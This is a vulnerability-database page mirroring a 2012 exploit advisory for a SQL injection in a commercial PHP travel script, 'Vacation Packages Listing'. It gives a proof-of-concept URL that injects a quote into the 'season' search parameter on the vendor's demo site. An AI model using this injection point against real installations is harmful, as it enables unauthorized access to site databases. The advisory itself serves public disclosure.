Lucene search
K

Vacation Packages Listing SQL Injection

🗓️ 20 Mar 2012 00:00:00Reported by r45c4lType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Vacation Packages Listing SQL Injection on PHP travel script for managing dynamic vacation packages and travel deals

Code
`# Exploit Title: VACATION PACKAGES LISTING Sql Injection  
# Date: 19/03/2012  
# Author: r45c4l  
# Script url: http://www.classifiedsgeek.com/vacation-packages/  
# Version: N/A  
# CVE : ()  
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
Product Description :  
Vacation packages listing is a PHP travel script & travel deals software for travel agencies and tour operators to manage dynamic vacation packages and travel deals.  
  
Product Cost : $119.00  
===============================Exploit=================================================  
---ICW---  
[ EXPL0!T ]  
SQL Injection  
  
Note: Tested on demo site  
  
p0c - http://www.classifiedsgeek.com/vacation-packages/demo.php?controller=Listings&action=search&listing_search=1&season=2'  
  
  
===========================================================================  
Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0, Hoody, sam, Sai Satish  
All members of ICW, AH, G4H and darkc0de and all Indian Hackers  
  
Special Greetz to : b4ltazar and s1nn3r  
  
  
# Email: [email protected]  
=== End () ====  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation